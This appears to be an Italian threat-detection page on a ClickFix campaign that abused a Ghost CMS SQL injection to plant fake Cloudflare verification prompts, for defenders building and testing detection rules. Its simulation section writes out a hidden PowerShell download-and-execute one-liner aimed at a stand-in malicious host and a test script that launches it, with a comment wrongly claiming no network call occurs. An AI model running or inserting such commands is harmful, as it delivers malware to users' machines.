Oltre 700 siti educativi e tecnologici hackerati in una vasta campagna malware ClickFix
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
Gli aggressori hanno sfruttato una critica vulnerabilità di iniezione SQL nel sistema di gestione dei contenuti Ghost per compromettere oltre 700 siti web di istruzione e tecnologia. Dopo aver ottenuto le chiavi API amministrative, hanno iniettato JavaScript dannoso che visualizzava un falso prompt di verifica Cloudflare. La pagina falsa istruiva i visitatori a copiare e incollare un comando Windows che installava malware sui loro sistemi. La campagna si basa sull’ingegneria sociale per ingannare gli utenti a lanciare il payload da soli.
Indagine
I ricercatori hanno identificato il problema come CVE-2026-26980, che interessa le versioni di Ghost 3.24.0 fino a 6.19.0. Lo sfruttamento riuscito ha permesso l’accesso non autenticato al contenuto del database, inclusa l’estrazione della chiave API amministrativa. Gli aggressori hanno quindi utilizzato la chiave rubata per modificare il contenuto del sito e incorporare script dannosi che lanciavano il flusso di infezione in stile ClickFix. Il codice iniettato ha presentato una finestra di verifica falsa che spingeva gli utenti a eseguire un comando tramite Windows Run o PowerShell.
Mitigazione
Le organizzazioni dovrebbero aggiornare Ghost a una versione successiva a 6.19.0 che risolve CVE-2026-26980. Qualsiasi chiave API amministrativa esposta dovrebbe essere immediatamente ruotata e l’accesso API dovrebbe essere strettamente limitato. I difensori dovrebbero anche implementare protezioni per endpoint con filtro web o protezione del browser e addestrare gli utenti a non copiare ed eseguire comandi da siti web non affidabili.
Risposta
I team di sicurezza dovrebbero rilevare e bloccare le iniezioni di JavaScript dannose sui siti web basati su Ghost e monitorare per le pagine di verifica Cloudflare false. Sui terminali, i difensori dovrebbero cercare tentativi di esecuzione di comandi insoliti legati a questo esca. Se è confermata una compromissione, rimuovere gli script iniettati, reimpostare le chiavi API interessate ed eseguire un’analisi forense sui sistemi client compromessi.
"graph TB %% Class Definitions classDef action fill:#99ccff classDef operator fill:#ff9900 classDef malware fill:#ffcccc classDef tool fill:#cccccc %% Node Definitions action_sql_injection["<b>Azione</b> – <b>T1674 Iniezione di Input</b>: Sfruttare l’iniezione SQL del CMS Ghost per leggere il database e ottenere la chiave API dell’amministratore."] class action_sql_injection action action_content_injection["<b>Azione</b> – <b>T1659 Iniezione di Contenuto</b>: Usare la chiave API rubata per iniettare JavaScript dannoso nelle pagine del sito."] class action_content_injection action action_defacement["<b>Azione</b> – <b>T1491 Deturpazione</b>: Deturpare il sito con una falsa finestra di dialogo di verifica Cloudflare che mostra un comando di copia-incolla."] class action_defacement action action_user_copy_paste["<b>Azione</b> – <b>T1204.004 Esecuzione Utente</b>: La vittima copia ed esegue il comando visualizzato, soddisfacendo la falsa verifica."] class action_user_copy_paste action action_powershell["<b>Azione</b> – <b>T1059.001 PowerShell</b>: Il comando lancia PowerShell che scarica ed esegue il payload di seconda fase."] class action_powershell action malware_clickfix["<b>Malware</b>: ClickFix<br/><b>Scopo</b>: Payload di seconda fase distribuito tramite PowerShell."] class malware_clickfix malware op_user_execution(("AND")) class op_user_execution operator %% Connections action_sql_injection –>|porta_a| action_content_injection action_content_injection –>|porta_a| action_defacement action_defacement –>|porta_a| action_user_copy_paste action_user_copy_paste –>|innesca| op_user_execution op_user_execution –>|esegue| action_powershell action_powershell –>|scarica| malware_clickfix "
Flusso di Attacco
Rilevamenti
Possibili Schemi di Attacco ClickFix Nella Linea di Comando (via cmdline)
Visualizza
Scarica o Carica tramite Powershell (via cmdline)
Visualizza
Esecuzione del Percorso Sospetto di Rundll32 Dll (via process_creation)
Visualizza
Stringhe Powershell Sospette (via powershell)
Visualizza
Chiamare Metodi .NET Sospetti da Powershell (via powershell)
Visualizza
Possibili Indicatori di Offuscamento Powershell (via powershell)
Visualizza
Comando e Controllo Sospetto tramite Richiesta DNS di Dominio di Livello Superiore Insolito (TLD) (via dns)
Visualizza
Esecuzione del Comando di Verifica Falsa Cloudflare [Windows Powershell]
Visualizza
Rilevamento di Iniezione SQL e Iniezioni di JavaScript Dannoso nel CMS Ghost [Webserver]
Visualizza
Esecuzione della Simulazione
Prerequisito: Il Controllo Pre-lancio di Telemetria & Baseline deve essere superato.
Razionale: Questa sezione delinea l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrativa & Comandi di Attacco:
-
L’esca di Ingegneria Sociale: La vittima riceve un’email di phishing che afferma che Cloudflare richiede la verifica. L’email include un comando “Esegui”:
Comando di Verifica Falsa Cloudflare -
Interazione della Vittima: L’utente apre la finestra di dialogo Esegui di Windows (
Win+R) e incolla la stringa esatta Comando di Verifica Falsa Cloudflare. -
Esecuzione del Comando: La stringa viene mappata a un PowerShell one-liner nascosto che scarica ed esegue un payload dannoso:
powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))"Poiché la finestra di dialogo Esegui invoca direttamente
powershell.execon gli argomenti sopra, il campo CommandLine registrato da Sysmon include la frase letterale Comando di Verifica Falsa Cloudflare (l’aggressore prefigge il comando con quella frase per attivare la regola). -
Attività del Payload: Lo script scaricato lascia una web-shell in
C:ProgramDatacloudflaree contatta un server C2, soddisfacendo T1505.001.
-
-
Script di Test di Regressione: Il seguente script PowerShell riproduce esattamente i passaggi che un red-teamer eseguirebbe per generare la telemetria che attiva il rilevamento.
<# Simula l'esecuzione del “Falso di Verifica Cloudflare” ClickFix. Scopo: Verificare che la regola Sigma si attivi sulla linea di comando esatta. #> # Fase 1: Preparare un payload fittizio (web-shell simulata) – nessuna vera chiamata di rete. $payloadPath = "$env:ProgramDatacloudflaredummy_shell.ps1" New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null Set-Content -Path $payloadPath -Value "# Web-shell fittizia – nessun codice dannoso" # Fase 2: Costruire la linea di comando dannosa che una vittima eseguirebbe. $maliciousCmd = @" Comando di Verifica Falsa Cloudflare powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "`"IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))`"" "@ # Fase 3: Simulare la finestra di dialogo Run lanciando il comando tramite cmd.exe /c. # Questo preserva la stringa letterale nella linea di comando del processo. $fullCmd = "cmd.exe /c `"$maliciousCmd`"" Write-Host "`n[+] Esecuzione del comando dannoso simulato..." Start-Process -FilePath "cmd.exe" -ArgumentList "/c `"$maliciousCmd`"" -WindowStyle Hidden -PassThru | Out-Null # Fase 4: Pausare brevemente per permettere a Sysmon di registrare la creazione del processo. Start-Sleep -Seconds 5 Write-Host "`n[+] Simulazione completata. Verificare SIEM per un evento di rilevamento." # La pulizia verrà eseguita separatamente. -
Comandi di Pulizia: Rimuovere i file fittizi e qualsiasi processo residuo.
# Fermare qualsiasi processo PowerShell residuo avviato dal test (se ancora in esecuzione) Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.StartInfo.Arguments -match "Comando di Verifica Falsa Cloudflare"} | Stop-Process -Force # Rimuovere la cartella della web-shell fittizia Remove-Item -Path "$env:ProgramDatacloudflare" -Recurse -Force -ErrorAction SilentlyContinue Write-Host "[+] Pulizia completata."